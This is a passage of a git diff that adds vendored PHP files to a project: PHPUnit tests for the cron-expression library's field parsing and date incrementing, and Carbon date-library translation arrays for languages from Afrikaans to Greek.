$d->format('Y-m-d H:i:s')); + + $d = new DateTime('2011-03-15 11:15:00'); + $f->increment($d, true); + $this->assertEquals('2011-03-14 23:59:00', $d->format('Y-m-d H:i:s')); + } + + /** + * @covers Cron\DayOfWeekField::isSatisfiedBy + * @expectedException InvalidArgumentException + * @expectedExceptionMessage Weekday must be a value between 0 and 7. 12 given + */ + public function testValidatesHashValueWeekday() + { + $f = new DayOfWeekField(); + $this->assertTrue($f->isSatisfiedBy(new DateTime(), '12#1')); + } + + /** + * @covers Cron\DayOfWeekField::isSatisfiedBy + * @expectedException InvalidArgumentException + * @expectedExceptionMessage There are never more than 5 of a given weekday in a month + */ + public function testValidatesHashValueNth() + { + $f = new DayOfWeekField(); + $this->assertTrue($f->isSatisfiedBy(new DateTime(), '3#6')); + } + + /** + * @covers Cron\DayOfWeekField::validate + */ + public function testValidateWeekendHash() + { + $f = new DayOfWeekField(); + $this->assertTrue($f->validate('MON#1')); + $this->assertTrue($f->validate('TUE#2')); + $this->assertTrue($f->validate('WED#3')); + $this->assertTrue($f->validate('THU#4')); + $this->assertTrue($f->validate('FRI#5')); + $this->assertTrue($f->validate('SAT#1')); + $this->assertTrue($f->validate('SUN#3')); + $this->assertTrue($f->validate('MON#1,MON#3')); + } + + /** + * @covers Cron\DayOfWeekField::isSatisfiedBy + */ + public function testHandlesZeroAndSevenDayOfTheWeekValues() + { + $f = new DayOfWeekField(); + $this->assertTrue($f->isSatisfiedBy(new DateTime('2011-09-04 00:00:00'), '0-2')); + $this->assertTrue($f->isSatisfiedBy(new DateTime('2011-09-04 00:00:00'), '6-0')); + + $this->assertTrue($f->isSatisfiedBy(new DateTime('2014-04-20 00:00:00'), 'SUN')); + $this->assertTrue($f->isSatisfiedBy(new DateTime('2014-04-20 00:00:00'), 'SUN#3')); + $this->assertTrue($f->isSatisfiedBy(new DateTime('2014-04-20 00:00:00'), '0#3')); + $this->assertTrue($f->isSatisfiedBy(new DateTime('2014-04-20 00:00:00'), '7#3')); + } + + /** + * @see https://github.com/mtdowling/cron-expression/issues/47 + */ + public function testIssue47() { + $f = new DayOfWeekField(); + $this->assertFalse($f->validate('mon,')); + $this->assertFalse($f->validate('mon-')); + $this->assertFalse($f->validate('*/2,')); + $this->assertFalse($f->validate('-mon')); + $this->assertFalse($f->validate(',1')); + $this->assertFalse($f->validate('*-')); + $this->assertFalse($f->validate(',-')); + } +} diff --git a/vendor/mtdowling/cron-expression/tests/Cron/FieldFactoryTest.php b/vendor/mtdowling/cron-expression/tests/Cron/FieldFactoryTest.php new file mode 100644 index 00000000..f34cc9b5 --- /dev/null +++ b/vendor/mtdowling/cron-expression/tests/Cron/FieldFactoryTest.php @@ -0,0 +1,43 @@ + + */ +class FieldFactoryTest extends PHPUnit_Framework_TestCase +{ + /** + * @covers Cron\FieldFactory::getField + */ + public function testRetrievesFieldInstances() + { + $mappings = array( + 0 => 'Cron\MinutesField', + 1 => 'Cron\HoursField', + 2 => 'Cron\DayOfMonthField', + 3 => 'Cron\MonthField', + 4 => 'Cron\DayOfWeekField', + 5 => 'Cron\YearField' + ); + + $f = new FieldFactory(); + + foreach ($mappings as $position => $class) { + $this->assertEquals($class, get_class($f->getField($position))); + } + } + + /** + * @covers Cron\FieldFactory::getField + * @expectedException InvalidArgumentException + */ + public function testValidatesFieldPosition() + { + $f = new FieldFactory(); + $f->getField(-1); + } +} diff --git a/vendor/mtdowling/cron-expression/tests/Cron/HoursFieldTest.php b/vendor/mtdowling/cron-expression/tests/Cron/HoursFieldTest.php new file mode 100644 index 00000000..d2d8a22a --- /dev/null +++ b/vendor/mtdowling/cron-expression/tests/Cron/HoursFieldTest.php @@ -0,0 +1,75 @@ + + */ +class HoursFieldTest extends PHPUnit_Framework_TestCase +{ + /** + * @covers Cron\HoursField::validate + */ + public function testValidatesField() + { + $f = new HoursField(); + $this->assertTrue($f->validate('1')); + $this->assertTrue($f->validate('*')); + $this->assertTrue($f->validate('*/3,1,1-12')); + } + + /** + * @covers Cron\HoursField::increment + */ + public function testIncrementsDate() + { + $d = new DateTime('2011-03-15 11:15:00'); + $f = new HoursField(); + $f->increment($d); + $this->assertEquals('2011-03-15 12:00:00', $d->format('Y-m-d H:i:s')); + + $d->setTime(11, 15, 0); + $f->increment($d, true); + $this->assertEquals('2011-03-15 10:59:00', $d->format('Y-m-d H:i:s')); + } + + /** + * @covers Cron\HoursField::increment + */ + public function testIncrementsDateWithThirtyMinuteOffsetTimezone() + { + $tz = date_default_timezone_get(); + date_default_timezone_set('America/St_Johns'); + $d = new DateTime('2011-03-15 11:15:00'); + $f = new HoursField(); + $f->increment($d); + $this->assertEquals('2011-03-15 12:00:00', $d->format('Y-m-d H:i:s')); + + $d->setTime(11, 15, 0); + $f->increment($d, true); + $this->assertEquals('2011-03-15 10:59:00', $d->format('Y-m-d H:i:s')); + date_default_timezone_set($tz); + } + + /** + * @covers Cron\HoursField::increment + */ + public function testIncrementDateWithFifteenMinuteOffsetTimezone() + { + $tz = date_default_timezone_get(); + date_default_timezone_set('Asia/Kathmandu'); + $d = new DateTime('2011-03-15 11:15:00'); + $f = new HoursField(); + $f->increment($d); + $this->assertEquals('2011-03-15 12:00:00', $d->format('Y-m-d H:i:s')); + + $d->setTime(11, 15, 0); + $f->increment($d, true); + $this->assertEquals('2011-03-15 10:59:00', $d->format('Y-m-d H:i:s')); + date_default_timezone_set($tz); + } +} diff --git a/vendor/mtdowling/cron-expression/tests/Cron/MinutesFieldTest.php b/vendor/mtdowling/cron-expression/tests/Cron/MinutesFieldTest.php new file mode 100644 index 00000000..af3fef7f --- /dev/null +++ b/vendor/mtdowling/cron-expression/tests/Cron/MinutesFieldTest.php @@ -0,0 +1,37 @@ + + */ +class MinutesFieldTest extends PHPUnit_Framework_TestCase +{ + /** + * @covers Cron\MinutesField::validate + */ + public function testValidatesField() + { + $f = new MinutesField(); + $this->assertTrue($f->validate('1')); + $this->assertTrue($f->validate('*')); + $this->assertTrue($f->validate('*/3,1,1-12')); + } + + /** + * @covers Cron\MinutesField::increment + */ + public function testIncrementsDate() + { + $d = new DateTime('2011-03-15 11:15:00'); + $f = new MinutesField(); + $f->increment($d); + $this->assertEquals('2011-03-15 11:16:00', $d->format('Y-m-d H:i:s')); + $f->increment($d, true); + $this->assertEquals('2011-03-15 11:15:00', $d->format('Y-m-d H:i:s')); + } +} diff --git a/vendor/mtdowling/cron-expression/tests/Cron/MonthFieldTest.php b/vendor/mtdowling/cron-expression/tests/Cron/MonthFieldTest.php new file mode 100644 index 00000000..2d9b0ad2 --- /dev/null +++ b/vendor/mtdowling/cron-expression/tests/Cron/MonthFieldTest.php @@ -0,0 +1,81 @@ + + */ +class MonthFieldTest extends PHPUnit_Framework_TestCase +{ + /** + * @covers Cron\MonthField::validate + */ + public function testValidatesField() + { + $f = new MonthField(); + $this->assertTrue($f->validate('12')); + $this->assertTrue($f->validate('*')); + $this->assertTrue($f->validate('*/10,2,1-12')); + $this->assertFalse($f->validate('1.fix-regexp')); + } + + /** + * @covers Cron\MonthField::increment + */ + public function testIncrementsDate() + { + $d = new DateTime('2011-03-15 11:15:00'); + $f = new MonthField(); + $f->increment($d); + $this->assertEquals('2011-04-01 00:00:00', $d->format('Y-m-d H:i:s')); + + $d = new DateTime('2011-03-15 11:15:00'); + $f->increment($d, true); + $this->assertEquals('2011-02-28 23:59:00', $d->format('Y-m-d H:i:s')); + } + + /** + * @covers Cron\MonthField::increment + */ + public function testIncrementsDateWithThirtyMinuteTimezone() + { + $tz = date_default_timezone_get(); + date_default_timezone_set('America/St_Johns'); + $d = new DateTime('2011-03-31 11:59:59'); + $f = new MonthField(); + $f->increment($d); + $this->assertEquals('2011-04-01 00:00:00', $d->format('Y-m-d H:i:s')); + + $d = new DateTime('2011-03-15 11:15:00'); + $f->increment($d, true); + $this->assertEquals('2011-02-28 23:59:00', $d->format('Y-m-d H:i:s')); + date_default_timezone_set($tz); + } + + + /** + * @covers Cron\MonthField::increment + */ + public function testIncrementsYearAsNeeded() + { + $f = new MonthField(); + $d = new DateTime('2011-12-15 00:00:00'); + $f->increment($d); + $this->assertEquals('2012-01-01 00:00:00', $d->format('Y-m-d H:i:s')); + } + + /** + * @covers Cron\MonthField::increment + */ + public function testDecrementsYearAsNeeded() + { + $f = new MonthField(); + $d = new DateTime('2011-01-15 00:00:00'); + $f->increment($d, true); + $this->assertEquals('2010-12-31 23:59:00', $d->format('Y-m-d H:i:s')); + } +} diff --git a/vendor/mtdowling/cron-expression/tests/Cron/YearFieldTest.php b/vendor/mtdowling/cron-expression/tests/Cron/YearFieldTest.php new file mode 100644 index 00000000..b5059ece --- /dev/null +++ b/vendor/mtdowling/cron-expression/tests/Cron/YearFieldTest.php @@ -0,0 +1,37 @@ + + */ +class YearFieldTest extends PHPUnit_Framework_TestCase +{ + /** + * @covers Cron\YearField::validate + */ + public function testValidatesField() + { + $f = new YearField(); + $this->assertTrue($f->validate('2011')); + $this->assertTrue($f->validate('*')); + $this->assertTrue($f->validate('*/10,2012,1-12')); + } + + /** + * @covers Cron\YearField::increment + */ + public function testIncrementsDate() + { + $d = new DateTime('2011-03-15 11:15:00'); + $f = new YearField(); + $f->increment($d); + $this->assertEquals('2012-01-01 00:00:00', $d->format('Y-m-d H:i:s')); + $f->increment($d, true); + $this->assertEquals('2011-12-31 23:59:00', $d->format('Y-m-d H:i:s')); + } +} diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/af.php b/vendor/nesbot/carbon/src/Carbon/Lang/af.php new file mode 100644 index 00000000..5cf6a8d9 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/af.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count jaar|:count jare', + 'y' => ':count jaar|:count jare', + 'month' => ':count maand|:count maande', + 'm' => ':count maand|:count maande', + 'week' => ':count week|:count weke', + 'w' => ':count week|:count weke', + 'day' => ':count dag|:count dae', + 'd' => ':count dag|:count dae', + 'hour' => ':count uur|:count ure', + 'h' => ':count uur|:count ure', + 'minute' => ':count minuut|:count minute', + 'min' => ':count minuut|:count minute', + 'second' => ':count sekond|:count sekondes', + 's' => ':count sekond|:count sekondes', + 'ago' => ':time terug', + 'from_now' => ':time van nou af', + 'after' => ':time na', + 'before' => ':time voor', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ar.php b/vendor/nesbot/carbon/src/Carbon/Lang/ar.php new file mode 100644 index 00000000..de8f6b85 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ar.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => '{0}سنة|{1}سنة|{2}سنتين|[3,10]:count سنوات|[11,Inf]:count سنة', + 'y' => '{0}سنة|{1}سنة|{2}سنتين|[3,10]:count سنوات|[11,Inf]:count سنة', + 'month' => '{0}شهر|{1} شهر|{2}شهرين|[3,10]:count أشهر|[11,Inf]:count شهر', + 'm' => '{0}شهر|{1} شهر|{2}شهرين|[3,10]:count أشهر|[11,Inf]:count شهر', + 'week' => '{0}أسبوع|{1}أسبوع|{2}أسبوعين|[3,10]:count أسابيع|[11,Inf]:count أسبوع', + 'w' => '{0}أسبوع|{1}أسبوع|{2}أسبوعين|[3,10]:count أسابيع|[11,Inf]:count أسبوع', + 'day' => '{0}يوم|{1}يوم|{2}يومين|[3,10]:count أيام|[11,Inf] يوم', + 'd' => '{0}يوم|{1}يوم|{2}يومين|[3,10]:count أيام|[11,Inf] يوم', + 'hour' => '{0}ساعة|{1}ساعة|{2}ساعتين|[3,10]:count ساعات|[11,Inf]:count ساعة', + 'h' => '{0}ساعة|{1}ساعة|{2}ساعتين|[3,10]:count ساعات|[11,Inf]:count ساعة', + 'minute' => '{0}دقيقة|{1}دقيقة|{2}دقيقتين|[3,10]:count دقائق|[11,Inf]:count دقيقة', + 'min' => '{0}دقيقة|{1}دقيقة|{2}دقيقتين|[3,10]:count دقائق|[11,Inf]:count دقيقة', + 'second' => '{0}ثانية|{1}ثانية|{2}ثانيتين|[3,10]:count ثوان|[11,Inf]:count ثانية', + 's' => '{0}ثانية|{1}ثانية|{2}ثانيتين|[3,10]:count ثوان|[11,Inf]:count ثانية', + 'ago' => 'منذ :time', + 'from_now' => ':time من الآن', + 'after' => 'بعد :time', + 'before' => 'قبل :time', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ar_Shakl.php b/vendor/nesbot/carbon/src/Carbon/Lang/ar_Shakl.php new file mode 100644 index 00000000..846ae024 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ar_Shakl.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => '[0,1] سَنَة|{2} سَنَتَيْن|[3,10]:count سَنَوَات|[11,Inf]:count سَنَة', + 'y' => '[0,1] سَنَة|{2} سَنَتَيْن|[3,10]:count سَنَوَات|[11,Inf]:count سَنَة', + 'month' => '[0,1] شَهْرَ|{2} شَهْرَيْن|[3,10]:count أَشْهُر|[11,Inf]:count شَهْرَ', + 'm' => '[0,1] شَهْرَ|{2} شَهْرَيْن|[3,10]:count أَشْهُر|[11,Inf]:count شَهْرَ', + 'week' => '[0,1] أُسْبُوع|{2} أُسْبُوعَيْن|[3,10]:count أَسَابِيع|[11,Inf]:count أُسْبُوع', + 'w' => '[0,1] أُسْبُوع|{2} أُسْبُوعَيْن|[3,10]:count أَسَابِيع|[11,Inf]:count أُسْبُوع', + 'day' => '[0,1] يَوْم|{2} يَوْمَيْن|[3,10]:count أَيَّام|[11,Inf] يَوْم', + 'd' => '[0,1] يَوْم|{2} يَوْمَيْن|[3,10]:count أَيَّام|[11,Inf] يَوْم', + 'hour' => '[0,1] سَاعَة|{2} سَاعَتَيْن|[3,10]:count سَاعَات|[11,Inf]:count سَاعَة', + 'h' => '[0,1] سَاعَة|{2} سَاعَتَيْن|[3,10]:count سَاعَات|[11,Inf]:count سَاعَة', + 'minute' => '[0,1] دَقِيقَة|{2} دَقِيقَتَيْن|[3,10]:count دَقَائِق|[11,Inf]:count دَقِيقَة', + 'min' => '[0,1] دَقِيقَة|{2} دَقِيقَتَيْن|[3,10]:count دَقَائِق|[11,Inf]:count دَقِيقَة', + 'second' => '[0,1] ثَانِيَة|{2} ثَانِيَتَيْن|[3,10]:count ثَوَان|[11,Inf]:count ثَانِيَة', + 's' => '[0,1] ثَانِيَة|{2} ثَانِيَتَيْن|[3,10]:count ثَوَان|[11,Inf]:count ثَانِيَة', + 'ago' => 'مُنْذُ :time', + 'from_now' => 'مِنَ الْآن :time', + 'after' => 'بَعْدَ :time', + 'before' => 'قَبْلَ :time', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/az.php b/vendor/nesbot/carbon/src/Carbon/Lang/az.php new file mode 100644 index 00000000..25f5c4a4 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/az.php @@ -0,0 +1,40 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count il', + 'y' => ':count il', + 'month' => ':count ay', + 'm' => ':count ay', + 'week' => ':count həftə', + 'w' => ':count həftə', + 'day' => ':count gün', + 'd' => ':count gün', + 'hour' => ':count saat', + 'h' => ':count saat', + 'minute' => ':count dəqiqə', + 'min' => ':count dəqiqə', + 'second' => ':count saniyə', + 's' => ':count saniyə', + 'ago' => ':time əvvəl', + 'from_now' => ':time sonra', + 'after' => ':time sonra', + 'before' => ':time əvvəl', + 'diff_now' => 'indi', + 'diff_yesterday' => 'dünən', + 'diff_tomorrow' => 'sabah', + 'diff_before_yesterday' => 'srağagün', + 'diff_after_tomorrow' => 'birisi gün', + 'period_recurrences' => ':count dəfədən bir', + 'period_interval' => 'hər :interval', + 'period_start_date' => ':date tarixindən başlayaraq', + 'period_end_date' => ':date tarixinədək', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/bg.php b/vendor/nesbot/carbon/src/Carbon/Lang/bg.php new file mode 100644 index 00000000..d9e510be --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/bg.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count година|:count години', + 'y' => ':count година|:count години', + 'month' => ':count месец|:count месеца', + 'm' => ':count месец|:count месеца', + 'week' => ':count седмица|:count седмици', + 'w' => ':count седмица|:count седмици', + 'day' => ':count ден|:count дни', + 'd' => ':count ден|:count дни', + 'hour' => ':count час|:count часа', + 'h' => ':count час|:count часа', + 'minute' => ':count минута|:count минути', + 'min' => ':count минута|:count минути', + 'second' => ':count секунда|:count секунди', + 's' => ':count секунда|:count секунди', + 'ago' => 'преди :time', + 'from_now' => ':time от сега', + 'after' => 'след :time', + 'before' => 'преди :time', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/bn.php b/vendor/nesbot/carbon/src/Carbon/Lang/bn.php new file mode 100644 index 00000000..5817599c --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/bn.php @@ -0,0 +1,38 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => '১ বছর|:count বছর', + 'y' => '১ বছর|:count বছর', + 'month' => '১ মাস|:count মাস', + 'm' => '১ মাস|:count মাস', + 'week' => '১ সপ্তাহ|:count সপ্তাহ', + 'w' => '১ সপ্তাহ|:count সপ্তাহ', + 'day' => '১ দিন|:count দিন', + 'd' => '১ দিন|:count দিন', + 'hour' => '১ ঘন্টা|:count ঘন্টা', + 'h' => '১ ঘন্টা|:count ঘন্টা', + 'minute' => '১ মিনিট|:count মিনিট', + 'min' => '১ মিনিট|:count মিনিট', + 'second' => '১ সেকেন্ড|:count সেকেন্ড', + 's' => '১ সেকেন্ড|:count সেকেন্ড', + 'ago' => ':time পূর্বে', + 'from_now' => 'এখন থেকে :time', + 'after' => ':time পরে', + 'before' => ':time আগে', + 'diff_now' => 'এখন', + 'diff_yesterday' => 'গতকাল', + 'diff_tomorrow' => 'আগামীকাল', + 'period_recurrences' => ':count বার|:count বার', + 'period_interval' => 'প্রতি :interval', + 'period_start_date' => ':date থেকে', + 'period_end_date' => ':date পর্যন্ত', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/bs_BA.php b/vendor/nesbot/carbon/src/Carbon/Lang/bs_BA.php new file mode 100644 index 00000000..7a9b05aa --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/bs_BA.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count godina|:count godine|:count godina', + 'y' => ':count godina|:count godine|:count godina', + 'month' => ':count mjesec|:count mjeseca|:count mjeseci', + 'm' => ':count mjesec|:count mjeseca|:count mjeseci', + 'week' => ':count nedjelja|:count nedjelje|:count nedjelja', + 'w' => ':count nedjelja|:count nedjelje|:count nedjelja', + 'day' => ':count dan|:count dana|:count dana', + 'd' => ':count dan|:count dana|:count dana', + 'hour' => ':count sat|:count sata|:count sati', + 'h' => ':count sat|:count sata|:count sati', + 'minute' => ':count minut|:count minuta|:count minuta', + 'min' => ':count minut|:count minuta|:count minuta', + 'second' => ':count sekund|:count sekunda|:count sekundi', + 's' => ':count sekund|:count sekunda|:count sekundi', + 'ago' => 'prije :time', + 'from_now' => 'za :time', + 'after' => 'nakon :time', + 'before' => ':time ranije', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/ca.php b/vendor/nesbot/carbon/src/Carbon/Lang/ca.php new file mode 100644 index 00000000..c854b5a9 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/ca.php @@ -0,0 +1,40 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count any|:count anys', + 'y' => ':count any|:count anys', + 'month' => ':count mes|:count mesos', + 'm' => ':count mes|:count mesos', + 'week' => ':count setmana|:count setmanes', + 'w' => ':count setmana|:count setmanes', + 'day' => ':count dia|:count dies', + 'd' => ':count dia|:count dies', + 'hour' => ':count hora|:count hores', + 'h' => ':count hora|:count hores', + 'minute' => ':count minut|:count minuts', + 'min' => ':count minut|:count minuts', + 'second' => ':count segon|:count segons', + 's' => ':count segon|:count segons', + 'ago' => 'fa :time', + 'from_now' => 'd\'aquí :time', + 'after' => ':time després', + 'before' => ':time abans', + 'diff_now' => 'ara mateix', + 'diff_yesterday' => 'ahir', + 'diff_tomorrow' => 'demà', + 'diff_before_yesterday' => "abans d'ahir", + 'diff_after_tomorrow' => 'demà passat', + 'period_recurrences' => ':count cop|:count cops', + 'period_interval' => 'cada :interval', + 'period_start_date' => 'de :date', + 'period_end_date' => 'fins a :date', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/cs.php b/vendor/nesbot/carbon/src/Carbon/Lang/cs.php new file mode 100644 index 00000000..a447ce29 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/cs.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count rok|:count roky|:count let', + 'y' => ':count rok|:count roky|:count let', + 'month' => ':count měsíc|:count měsíce|:count měsíců', + 'm' => ':count měsíc|:count měsíce|:count měsíců', + 'week' => ':count týden|:count týdny|:count týdnů', + 'w' => ':count týden|:count týdny|:count týdnů', + 'day' => ':count den|:count dny|:count dní', + 'd' => ':count den|:count dny|:count dní', + 'hour' => ':count hodinu|:count hodiny|:count hodin', + 'h' => ':count hodinu|:count hodiny|:count hodin', + 'minute' => ':count minutu|:count minuty|:count minut', + 'min' => ':count minutu|:count minuty|:count minut', + 'second' => ':count sekundu|:count sekundy|:count sekund', + 's' => ':count sekundu|:count sekundy|:count sekund', + 'ago' => ':time nazpět', + 'from_now' => 'za :time', + 'after' => ':time později', + 'before' => ':time předtím', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/cy.php b/vendor/nesbot/carbon/src/Carbon/Lang/cy.php new file mode 100644 index 00000000..c93750e2 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/cy.php @@ -0,0 +1,29 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ +return array( + 'year' => '1 flwyddyn|:count blynedd', + 'y' => ':countbl', + 'month' => '1 mis|:count fis', + 'm' => ':countmi', + 'week' => ':count wythnos', + 'w' => ':countw', + 'day' => ':count diwrnod', + 'd' => ':countd', + 'hour' => ':count awr', + 'h' => ':counth', + 'minute' => ':count munud', + 'min' => ':countm', + 'second' => ':count eiliad', + 's' => ':counts', + 'ago' => ':time yn ôl', + 'from_now' => ':time o hyn ymlaen', + 'after' => ':time ar ôl', + 'before' => ':time o\'r blaen', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/da.php b/vendor/nesbot/carbon/src/Carbon/Lang/da.php new file mode 100644 index 00000000..86507b0f --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/da.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count år|:count år', + 'y' => ':count år|:count år', + 'month' => ':count måned|:count måneder', + 'm' => ':count måned|:count måneder', + 'week' => ':count uge|:count uger', + 'w' => ':count uge|:count uger', + 'day' => ':count dag|:count dage', + 'd' => ':count dag|:count dage', + 'hour' => ':count time|:count timer', + 'h' => ':count time|:count timer', + 'minute' => ':count minut|:count minutter', + 'min' => ':count minut|:count minutter', + 'second' => ':count sekund|:count sekunder', + 's' => ':count sekund|:count sekunder', + 'ago' => ':time siden', + 'from_now' => 'om :time', + 'after' => ':time efter', + 'before' => ':time før', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/de.php b/vendor/nesbot/carbon/src/Carbon/Lang/de.php new file mode 100644 index 00000000..5ea2a03a --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/de.php @@ -0,0 +1,46 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count Jahr|:count Jahre', + 'y' => ':countJ|:countJ', + 'month' => ':count Monat|:count Monate', + 'm' => ':countMon|:countMon', + 'week' => ':count Woche|:count Wochen', + 'w' => ':countWo|:countWo', + 'day' => ':count Tag|:count Tage', + 'd' => ':countTg|:countTg', + 'hour' => ':count Stunde|:count Stunden', + 'h' => ':countStd|:countStd', + 'minute' => ':count Minute|:count Minuten', + 'min' => ':countMin|:countMin', + 'second' => ':count Sekunde|:count Sekunden', + 's' => ':countSek|:countSek', + 'ago' => 'vor :time', + 'from_now' => 'in :time', + 'after' => ':time später', + 'before' => ':time zuvor', + + 'year_from_now' => ':count Jahr|:count Jahren', + 'month_from_now' => ':count Monat|:count Monaten', + 'week_from_now' => ':count Woche|:count Wochen', + 'day_from_now' => ':count Tag|:count Tagen', + 'year_ago' => ':count Jahr|:count Jahren', + 'month_ago' => ':count Monat|:count Monaten', + 'week_ago' => ':count Woche|:count Wochen', + 'day_ago' => ':count Tag|:count Tagen', + + 'diff_now' => 'Gerade eben', + 'diff_yesterday' => 'Gestern', + 'diff_tomorrow' => 'Heute', + 'diff_before_yesterday' => 'Vorgestern', + 'diff_after_tomorrow' => 'Übermorgen', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/dv_MV.php b/vendor/nesbot/carbon/src/Carbon/Lang/dv_MV.php new file mode 100644 index 00000000..e3c50b39 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/dv_MV.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => '{0}އަހަރެއް|[1,Inf]:count އަހަރު', + 'y' => '{0}އަހަރެއް|[1,Inf]:count އަހަރު', + 'month' => '{0}މައްސަރެއް|[1,Inf]:count މަސް', + 'm' => '{0}މައްސަރެއް|[1,Inf]:count މަސް', + 'week' => '{0}ހަފްތާއެއް|[1,Inf]:count ހަފްތާ', + 'w' => '{0}ހަފްތާއެއް|[1,Inf]:count ހަފްތާ', + 'day' => '{0}ދުވަސް|[1,Inf]:count ދުވަސް', + 'd' => '{0}ދުވަސް|[1,Inf]:count ދުވަސް', + 'hour' => '{0}ގަޑިއިރެއް|[1,Inf]:count ގަޑި', + 'h' => '{0}ގަޑިއިރެއް|[1,Inf]:count ގަޑި', + 'minute' => '{0}މިނެޓެއް|[1,Inf]:count މިނެޓް', + 'min' => '{0}މިނެޓެއް|[1,Inf]:count މިނެޓް', + 'second' => '{0}ސިކުންތެއް|[1,Inf]:count ސިކުންތު', + 's' => '{0}ސިކުންތެއް|[1,Inf]:count ސިކުންތު', + 'ago' => ':time ކުރިން', + 'from_now' => ':time ފަހުން', + 'after' => ':time ފަހުން', + 'before' => ':time ކުރި', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/el.php b/vendor/nesbot/carbon/src/Carbon/Lang/el.php new file mode 100644 index 00000000..16b3f442 --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/el.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count χρόνος|:count χρόνια', + 'y' => ':count χρόνος|:count χρόνια', + 'month' => ':count μήνας|:count μήνες', + 'm' => ':count μήνας|:count μήνες', + 'week' => ':count εβδομάδα|:count εβδομάδες', + 'w' => ':count εβδομάδα|:count εβδομάδες', + 'day' => ':count μέρα|:count μέρες', + 'd' => ':count μέρα|:count μέρες', + 'hour' => ':count ώρα|:count ώρες', + 'h' => ':count ώρα|:count ώρες', + 'minute' => ':count λεπτό|:count λεπτά', + 'min' => ':count λεπτό|:count λεπτά', + 'second' => ':count δευτερόλεπτο|:count δευτερόλεπτα', + 's' => ':count δευτερόλεπτο|:count δευτερόλεπτα', + 'ago' => 'πριν από :time', + 'from_now' => 'σε :time από τώρα', + 'after' => ':time μετά', + 'before' => ':time πριν', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/en.php b/vendor/nesbot/carbon/src/Carbon/Lang/en.php new file mode 100644 index 00000000..a15c131f --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/en.php @@ -0,0 +1,40 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +return array( + 'year' => ':count year|:count years', + 'y' => ':countyr|:countyrs', + 'month' => ':count month|:count months', + 'm' => ':countmo|:countmos', + 'week' => ':count week|:count weeks', + 'w' => ':countw|:countw', + 'day' => ':count day|:count days', + 'd' => ':countd|:countd', + 'hour' => ':count hour|:count hours', + 'h' => ':counth|:counth', + 'minute' => ':count minute|:count minutes', + 'min' => ':countm|:countm', + 'second' => ':count second|:count seconds', + 's' => ':counts|:counts', + 'ago' => ':time ago', + 'from_now' => ':time from now', + 'after' => ':time after', + 'before' => ':time before', + 'diff_now' => 'just now', + 'diff_yesterday' => 'yesterday', + 'diff_tomorrow' => 'tomorrow', + 'diff_before_yesterday' => 'before yesterday', + 'diff_after_tomorrow' => 'after tomorrow', + 'period_recurrences' => 'once|:count times', + 'period_interval' => 'every :interval', + 'period_start_date' => 'from :date', + 'period_end_date' => 'to :date', +); diff --git a/vendor/nesbot/carbon/src/Carbon/Lang/eo.php b/vendor/nesbot/carbon/src/Carbon/Lang/eo.php new file mode 100644 index 00000000..c5b90b3e --- /dev/null +++ b/vendor/nesbot/carbon/src/Carbon/Lang/eo.php @@ -0,0 +1,31 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ 